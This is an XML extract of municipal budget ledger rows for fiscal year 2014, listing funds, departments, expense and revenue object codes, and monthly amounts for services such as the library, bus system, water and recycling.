<row _id="9828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402410.0</object><object_description>SELF-INSURANCE BUS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2500000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2500000.0</total></row>
<row _id="9829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400670.0</object><object_description>FIRE PERMITS / FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-761977.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-761977.0</total></row>
<row _id="9830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401630.0</object><object_description>LIBRARY COPIERS AND PRINTERS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-32000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-32000.0</total></row>
<row _id="9831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401640.0</object><object_description>LIBRARY MEETING ROOM RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-47000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="9832"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75.0</total></row>
<row _id="9833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3137.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3137.0</total></row>
<row _id="9834"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569000.0</object><object_description>CULTURAL/ARTS GRANTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>260700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>260700.0</total></row>
<row _id="9835"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>60600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60600.0</total></row>
<row _id="9836"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="9837"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2758.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2758.0</total></row>
<row _id="9838"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533080.0</object><object_description>MARTIN LUTHER KING DAY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7896.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7896.0</total></row>
<row _id="9839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-79763.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-79763.0</total></row>
<row _id="9840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-575000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-575000.0</total></row>
<row _id="9841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="9842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1570.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1570.0</total></row>
<row _id="9843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="9844"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>572926.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>9545</december><january>-375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>582096.0</total></row>
<row _id="9845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="9846"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6406.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6406.0</total></row>
<row _id="9847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>57400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57400.0</total></row>
<row _id="9848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1065412.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>15647</december><january>-63.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1080996.0</total></row>
<row _id="9849"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>66767.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66767.0</total></row>
<row _id="9850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>95489.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95489.0</total></row>
<row _id="9851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>107121.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107121.0</total></row>
<row _id="9852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4815.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4815.0</total></row>
<row _id="9853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201955.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>2131.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204086.0</total></row>
<row _id="9854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="9855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1138183.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1138183.0</total></row>
<row _id="9856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>409912.76</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409912.76</total></row>
<row _id="9857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>666368.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>666368.0</total></row>
<row _id="9858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533180.0</object><object_description>TRANSFER STATION OPERATIONS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19000.0</total></row>
<row _id="9859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544270.0</object><object_description>BIN PARTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="9860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5388.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>288.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5676.0</total></row>
<row _id="9861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>123</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>723.0</total></row>
<row _id="9862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11589.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11589.0</total></row>
<row _id="9863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="9864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1545042.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>24432</december><january>-306.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1569168.0</total></row>
<row _id="9865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2091.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2091.0</total></row>
<row _id="9866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="9867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1055348.74</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1055348.74</total></row>
<row _id="9868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1055</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23055.0</total></row>
<row _id="9869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522140.0</object><object_description>WATER PURCHASES</object_description><category_code>852.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5125500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5125500.0</total></row>
<row _id="9870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="9871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2563.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2563.0</total></row>
<row _id="9872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42380.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42380.0</total></row>
<row _id="9873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="9874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>187298.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>187298.0</total></row>
<row _id="9875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82300.0</total></row>
